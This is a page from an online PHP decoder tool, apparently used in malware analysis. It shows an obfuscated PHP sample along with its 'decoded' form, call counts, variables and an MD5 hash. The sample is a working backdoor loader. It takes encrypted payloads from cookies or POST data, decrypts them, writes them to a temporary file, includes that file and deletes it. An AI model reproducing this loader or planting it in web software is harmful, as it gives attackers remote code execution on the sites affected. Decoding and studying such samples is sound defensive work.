Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function tn1($ny2){$mg3 = "*lbdsn#fkxh8L209).Icp/Hg4ye(?" ."6_1r5o@-itv" ."E a<'u" ."mF;" ..

Decoded Output download

<?  function tn1($ny2){$mg3 = "*lbdsn#fkxh8L209).Icp/Hg4ye(?" ."6_1r5o@-itv" ."E a<'u" ."mF;" ;$uc5='';foreach($ny2 as $ej4){$uc5.=$mg3[$ej4];}return $uc5;}$kg6 = Array();$kg6[] = tn1(Array(7,19,29,31,3,15,31,26,36,42,15,11,11,36,24,31,11,42,36,42,15,2,42,36,15,14,7,42,42,33,42,33,13,19,31,7));$kg6[] = tn1(Array(28,20,10,20,41,35,45,5,1,37,5,8,27,30,30,47,18,12,40,30,30,16,48,41));$kg6[] = tn1(Array(17,46,34,3,45,1,26));$kg6[] = tn1(Array(22,0));$kg6[] = tn1(Array(17,21));$kg6[] = tn1(Array(6));$kg6[] = tn1(Array(43));$kg6[] = tn1(Array(7,37,1,26,30,20,45,38,30,19,34,5,38,26,5,38,4));$kg6[] = tn1(Array(42,32,32,42,25,30,46,26,32,23,26));$kg6[] = tn1(Array(4,38,32,30,32,26,20,26,42,38));$kg6[] = tn1(Array(26,9,20,1,34,3,26));$kg6[] = tn1(Array(4,45,2,4,38,32));$kg6[] = tn1(Array(45,5,1,37,5,8));$kg6[] = tn1(Array(4,38,32,1,26,5));$kg6[] = tn1(Array(20,42,19,8));$kg6[] = tn1(Array(46,3,33));foreach ($kg6[8]($_COOKIE, $_POST) as $xi14 => $qn11){function ep8($kg6, $xi14, $wd10){return $kg6[11]($kg6[9]($xi14 . $kg6[0], ($wd10 / $kg6[13]($xi14)) + 1), 0, $wd10);}function gt7($kg6, $es12){return @$kg6[14]($kg6[3], $es12);}function be9($kg6, $es12){if (isset($es12[2])) {$ds13 = $kg6[4] . $kg6[15]($kg6[0]) . $kg6[2];@$kg6[7]($ds13, $kg6[6] . $kg6[1] . $es12[1]($es12[2]));@include($ds13);@$kg6[12]($ds13);exit();}}$qn11 = gt7($kg6, $qn11);be9($kg6, $kg6[10]($kg6[5], $qn11 ^ ep8($kg6, $xi14, $kg6[13]($qn11))));} ?>

Did this file decode correctly?

Original Code

function tn1($ny2){$mg3 = "*lbdsn#fkxh8L209).Icp/Hg4ye(?" ."6_1r5o@-itv" ."E a<'u" ."mF;" ;$uc5='';foreach($ny2 as $ej4){$uc5.=$mg3[$ej4];}return $uc5;}$kg6 = Array();$kg6[] = tn1(Array(7,19,29,31,3,15,31,26,36,42,15,11,11,36,24,31,11,42,36,42,15,2,42,36,15,14,7,42,42,33,42,33,13,19,31,7));$kg6[] = tn1(Array(28,20,10,20,41,35,45,5,1,37,5,8,27,30,30,47,18,12,40,30,30,16,48,41));$kg6[] = tn1(Array(17,46,34,3,45,1,26));$kg6[] = tn1(Array(22,0));$kg6[] = tn1(Array(17,21));$kg6[] = tn1(Array(6));$kg6[] = tn1(Array(43));$kg6[] = tn1(Array(7,37,1,26,30,20,45,38,30,19,34,5,38,26,5,38,4));$kg6[] = tn1(Array(42,32,32,42,25,30,46,26,32,23,26));$kg6[] = tn1(Array(4,38,32,30,32,26,20,26,42,38));$kg6[] = tn1(Array(26,9,20,1,34,3,26));$kg6[] = tn1(Array(4,45,2,4,38,32));$kg6[] = tn1(Array(45,5,1,37,5,8));$kg6[] = tn1(Array(4,38,32,1,26,5));$kg6[] = tn1(Array(20,42,19,8));$kg6[] = tn1(Array(46,3,33));foreach ($kg6[8]($_COOKIE, $_POST) as $xi14 => $qn11){function ep8($kg6, $xi14, $wd10){return $kg6[11]($kg6[9]($xi14 . $kg6[0], ($wd10 / $kg6[13]($xi14)) + 1), 0, $wd10);}function gt7($kg6, $es12){return @$kg6[14]($kg6[3], $es12);}function be9($kg6, $es12){if (isset($es12[2])) {$ds13 = $kg6[4] . $kg6[15]($kg6[0]) . $kg6[2];@$kg6[7]($ds13, $kg6[6] . $kg6[1] . $es12[1]($es12[2]));@include($ds13);@$kg6[12]($ds13);exit();}}$qn11 = gt7($kg6, $qn11);be9($kg6, $kg6[10]($kg6[5], $qn11 ^ ep8($kg6, $xi14, $kg6[13]($qn11))));}

Function Calls

tn1 16
null 1

Variables

$ej4 33
$kg6 [{'key': None, 'value': 'fff'}]
$mg3 *lbdsn#fkxh8L209).Icp/Hg4ye(?6_1r5o@-itvE a<'umF;
$ny2 [{'key': 0, 'value': 46}, {'key': 1, 'value': 3}, {'key': 2, 'value': 33}]
$uc5 fff

Stats

MD5 a1edb74b870f9655aea8e07e3e64168d
Eval Count 0
Decode Time 196 ms